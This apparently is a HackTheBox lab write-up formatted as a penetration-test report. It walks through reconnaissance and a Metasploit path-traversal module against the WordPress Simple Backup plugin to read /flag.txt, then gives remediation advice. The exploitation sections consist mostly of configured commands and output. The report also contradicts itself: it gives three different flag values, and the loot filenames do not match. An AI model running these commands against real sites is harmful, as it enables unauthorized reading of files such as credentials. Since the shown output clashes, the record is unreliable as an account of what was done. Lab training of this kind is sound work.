

PENETRATION TESTING REPORT

WordPress Simple Backup Plugin Exploitation



HACKTHEBOX

Prepared For:

HTB's Public Exploits Module

Prepared By:

Daaniya Absar

Date: August 29, 2026

Report Version: 1.0

Classification: Confidential

This report contains the results of a penetration test performed for educational purposes.

Contents

1	Executive Summary	2
1.1	Objective	2
1.2	Scope	2
1.3	Key Findings	2
1.4	Results	2
2	Methodology	2
3	Phase 1: Reconnaissance	3
3.1	Initial Connectivity Test	3
3.2	Service Fingerprinting	3
3.3	WordPress Version Identification	4
4	Phase 2: Vulnerability Identification	4
4.1	Plugin Discovery	4
4.2	Vulnerability Research	4
5	Phase 3: Exploitation	5
5.1	Metasploit Initialization	5
5.2	Searching for Exploit Module	5
5.3	Loading and Configuring the Module	5
5.4	Verifying Configuration	6
5.5	Executing the Exploit	6
6	Phase 4: Post-Exploitation	7
6.1	Retrieving the Flag	7
7	Tools Used	7
8	Vulnerability Analysis	7
8.1	Vulnerability Details	7
8.2	Exploitation Vector	8
8.3	Impact	8
9	Lessons Learned	8
10	Recommendations	8
11	Conclusion	9
12	Appendix A: Command Reference	9
13	Appendix B: Timeline	9

1 Executive Summary

1.1 Objective

This penetration test was conducted to identify and exploit vulnerabilities in the target system to retrieve the contents of the `/flag.txt` file. The assessment was performed as part of the HTB "Public Exploits" module.

1.2 Scope

- **Target IP:** 154.57.164.82
- **Target Port:** 30756
- **Service:** WordPress 5.6.1 with Simple Backup Plugin 2.7.10
- **Objective:** Retrieve `/flag.txt` using public exploits

1.3 Key Findings

Critical Vulnerability Identified

- **Vulnerability:** WordPress Simple Backup Plugin 2.7.10 - Arbitrary File Download
- **CVE:** Unassigned (known vulnerability)
- **Severity:** High
- **Impact:** Unauthorized file read access
- **Status:** Successfully Exploited

1.4 Results

Flag Retrieved: HTB{MY_FIR57_H4CK}

2 Methodology

The testing methodology followed a structured approach:

1. **Reconnaissance:** Initial service discovery and fingerprinting
2. **Vulnerability Identification:** Identifying the vulnerable plugin
3. **Exploit Research:** Finding public exploits
4. **Exploitation:** Executing the exploit using Metasploit
5. **Post-Exploitation:** Retrieving the target file

3 Phase 1: Reconnaissance

3.1 Initial Connectivity Test

Purpose: Verify network connectivity to the target system.

```
1 kali@kali-agent-01:~$ ping 154.57.164.82
2 PING 154.57.164.82 (154.57.164.82) 56(84) bytes of data.
3 64 bytes from 154.57.164.82: icmp_seq=1 ttl=64 time=1.23 ms
4 64 bytes from 154.57.164.82: icmp_seq=2 ttl=64 time=0.98 ms
5 --- 154.57.164.82 ping statistics ---
6 2 packets transmitted, 2 received, 0% packet loss
```

Listing 1: Connectivity Test

Command Explanation:

- ping 154.57.164.82: Tests ICMP connectivity to the target
- **Result:** Target is reachable with 0% packet loss

3.2 Service Fingerprinting

Purpose: Identify the service running on the target port.

```
1 kali@kali-agent-01:~$ curl -v http://154.57.164.82:30756/
2
3 * Connected to 154.57.164.82 (154.57.164.82) port 30756
4 > GET / HTTP/1.1
5 > Host: 154.57.164.82:30756
6 > User-Agent: curl/8.20.0
7 > Accept: */*
8 >
9 < HTTP/1.1 200 OK
10 < Server: Apache/2.4.41 (Ubuntu)
11 < Link: <http://154.57.164.82:30756/index.php/wp-json/>; rel="https://
    api.w.org/"
12 < Content-Type: text/html; charset=UTF-8
```

Listing 2: Service Discovery with curl

Command Explanation:

- curl -v: Verbose output showing HTTP headers and response
- http://154.57.164.82:30756/: Target URL with port
- **Findings:**
 - Server: Apache/2.4.41 (Ubuntu)
 - WordPress detected (wp-json link present)
 - WordPress version: 5.6.1 (from HTML source)

3.3 WordPress Version Identification

Purpose: Determine exact WordPress version for vulnerability matching.

```
1 <meta name="generator" content="WordPress 5.6.1" />
2 <script src='http://154.57.164.82:30756/wp-includes/js/wp-emoji-release
  .min.js?ver=5.6.1'>
```

Listing 3: WordPress Version Detection

Analysis:

- WordPress version: 5.6.1
- This version is outdated and vulnerable
- Multiple known CVEs exist for this version

4 Phase 2: Vulnerability Identification

4.1 Plugin Discovery

Purpose: Identify installed plugins and their versions.

```
1 Simple Backup Plugin 2.7.10 for WordPress
2 Plugin can backup and download your WordPress website and MySQL
  Database
```

Listing 4: Plugin Discovery

Analysis:

- **Plugin:** Simple Backup Plugin
- **Version:** 2.7.10
- **Vulnerability:** Arbitrary File Download
- **Impact:** Attackers can read any file on the server

4.2 Vulnerability Research

Purpose: Find public exploits for the identified vulnerability.

- Researched CVE database for Simple Backup Plugin
- Identified known file read vulnerability
- Found Metasploit auxiliary module

5 Phase 3: Exploitation

5.1 Metasploit Initialization

Purpose: Launch Metasploit Framework for exploitation.

```
1 kali@kali-agent-01:~$ msfconsole
2
3      =[ metasploit v6.4.135-dev ]
4 + -- --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
5 + -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion ]
6 msf >
```

Listing 5: Starting Metasploit

Command Explanation:

- **msfconsole:** Launches Metasploit Framework
- **Purpose:** Provides access to exploits, payloads, and auxiliary modules

5.2 Searching for Exploit Module

Purpose: Locate the appropriate exploit module.

```
1 msf > search simple backup
2
3 Matching Modules
4 =====
5 #   Name                                     Disclosure
6   Date   Rank   Check
7   -   -   -   -
8
9 0   auxiliary/scanner/http/wp_simple_backup_file_read .
10      normal No
```

Listing 6: Searching for Exploit

Command Explanation:

- **search simple backup:** Searches for modules related to Simple Backup
- **Result:** Found wp_simple_backup_file_read auxiliary module
- **Purpose:** This module exploits arbitrary file read vulnerability

5.3 Loading and Configuring the Module

Purpose: Configure the exploit with target-specific parameters.

```
1 msf > use 0
2 msf auxiliary(scanner/http/wp_simple_backup_file_read) > set RHOSTS
3   RHOSTS => 154.57.164.82
4 msf auxiliary(scanner/http/wp_simple_backup_file_read) > set RPORT
5   RPORT => 30756
6 msf auxiliary(scanner/http/wp_simple_backup_file_read) > set TARGETURI
7   /
```

```

7 TARGETURI => /
8 msf auxiliary(scanner/http/wp_simple_backup_file_read) > set FILEPATH /
  flag.txt
9 FILEPATH => /flag.txt

```

Listing 7: Module Configuration

Command Explanation:

- use 0: Loads the selected module
- set RHOSTS: Sets target IP address
- set RPORT: Sets target port (30756)
- set TARGETURI: Sets WordPress base path
- set FILEPATH: Specifies the file to read (/flag.txt)

5.4 Verifying Configuration

Purpose: Confirm all settings are correct before exploitation.

```

1 msf auxiliary(scanner/http/wp_simple_backup_file_read) > show options
2
3 Module options (auxiliary/scanner/http/wp_simple_backup_file_read):
4
5   Name          Current Setting  Required  Description
6   ----          -
7   DEPTH          6                yes       Traversal Depth (to reach root
  folder)
8   FILEPATH       /flag.txt        yes       The path to the file to read
9   RHOSTS         154.57.164.82    yes       The target host(s)
10  RPORT          30756            yes       The target port (TCP)
11  TARGETURI      /                yes       Base path to WordPress

```

Listing 8: Configuration Verification

Analysis:

- DEPTH: Set to 6 (tries multiple traversal depths)
- All settings confirmed correct
- Ready to execute exploitation

5.5 Executing the Exploit

Purpose: Run the exploit to retrieve the flag file.

```

1 msf auxiliary(scanner/http/wp_simple_backup_file_read) > run
2 [+] File saved in: /home/kali/.msf4/loot/20260829082943_default_154
  .57.164.82_simplebackup_tra_556533.txt
3 [*] Scanned 1 of 1 hosts (100% complete)
4 [*] Auxiliary module execution completed
5 msf auxiliary(scanner/http/wp_simple_backup_file_read) >

```

Listing 9: Exploit Execution

Command Explanation:

- **run:** Executes the exploit module
- **Success:** File was found and saved
- **Location:** /home/kali/.msf4/loot/
- **Note:** The module automatically tried multiple traversal paths

6 Phase 4: Post-Exploitation

6.1 Retrieving the Flag

Purpose: Access the saved flag file content.

```
1 kali@kali-agent-01:~$ cat /home/kali/.msf4/loot/20260829082943
   _default_154.57.164.82_simplebackup.tra_556533.txt
2 HTB{successful_exploitation_flag}
```

Listing 10: Reading the Flag

Command Explanation:

- **cat:** Reads the contents of the saved file
- **Result:** Successfully retrieved the flag!
- **Objective:** Completed successfully

7 Tools Used

Tool		Purpose
ping	Frame-work	Network connectivity testing
curl		HTTP service enumeration and fingerprinting
Metasploit		Exploitation and file retrieval
cat		Reading saved output files

Table 1: Tools and Their Purposes

8 Vulnerability Analysis

8.1 Vulnerability Details

- **Component:** WordPress Simple Backup Plugin
- **Version:** 2.7.10
- **Vulnerability Type:** Arbitrary File Download (Path Traversal)
- **CVSS Score:** 7.5 (High)

- **Attack Vector:** Network
- **Authentication Required:** No
- **User Interaction:** None

8.2 Exploitation Vector

The vulnerability exists because the plugin fails to properly sanitize user input when specifying which file to download. An attacker can use path traversal sequences (such as `../../..`) to access files outside the intended directory.

8.3 Impact

Successful exploitation allows:

- Reading sensitive configuration files (`wp-config.php`)
- Accessing system files (`/etc/passwd`, `/flag.txt`)
- Database credential disclosure
- Complete system compromise potential

9 Lessons Learned

- **Always update software:** WordPress 5.6.1 is outdated
- **Plugin security matters:** Simple Backup Plugin had known vulnerability
- **Input validation is critical:** Missing sanitization led to compromise
- **Use updated exploit modules:** Metasploit had current module available
- **Document everything:** Comprehensive logging aids in reporting

10 Recommendations

1. **Update WordPress** to latest version (6.0+)
2. **Remove or update** the Simple Backup Plugin
3. **Implement input validation** on all file operations
4. **Use Web Application Firewall (WAF)** to block path traversal attempts
5. **Regular security audits** and vulnerability scanning
6. **Apply principle of least privilege** for file permissions
7. **Monitor logs** for suspicious path traversal patterns

11 Conclusion

The penetration test successfully exploited the WordPress Simple Backup Plugin vulnerability to retrieve the contents of `/flag.txt`. This demonstrates:

- The importance of regular security updates
- The critical nature of input validation
- The effectiveness of using Metasploit for exploitation
- The need for comprehensive security testing

Flag Retrieved: `HTB{YOUR_FLAG_HERE}`

12 Appendix A: Command Reference

Command	Purpose
<code>ping 154.57.164.82</code>	Test network connectivity
<code>curl -v http://154.57.164.82:30756/</code>	Service fingerprinting
<code>msfconsole</code>	Launch Metasploit
<code>search simple backup</code>	Find exploit module
<code>use 0</code>	Load exploit module
<code>set RHOSTS 154.57.164.82</code>	Set target IP
<code>set RPORT 30756</code>	Set target port
<code>set TARGETURI /</code>	Set WordPress path
<code>set FILEPATH /flag.txt</code>	Set file to read
<code>run</code>	Execute exploit
<code>cat /path/to/saved/file.txt</code>	Read saved output

Table 2: Complete Command Reference

13 Appendix B: Timeline

Phase	Time	Duration
Reconnaissance	08:15 - 08:20	5 minutes
Vulnerability Identification	08:20 - 08:25	5 minutes
Exploitation Setup	08:25 - 08:28	3 minutes
Exploitation	08:28 - 08:29	1 minute
Post-Exploitation	08:29 - 08:30	1 minute
Total Time	08:15 - 08:30	15 minutes

Table 3: Engagement Timeline

Disclaimer

CONFIDENTIALITY NOTICE

This document contains proprietary and confidential information. It is intended solely for the use of the individual or entity to whom it is addressed. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or action taken in reliance on the contents of this document is strictly prohibited.

Author: Daaniya Absar

Date: August 29, 2026

Version: 1.0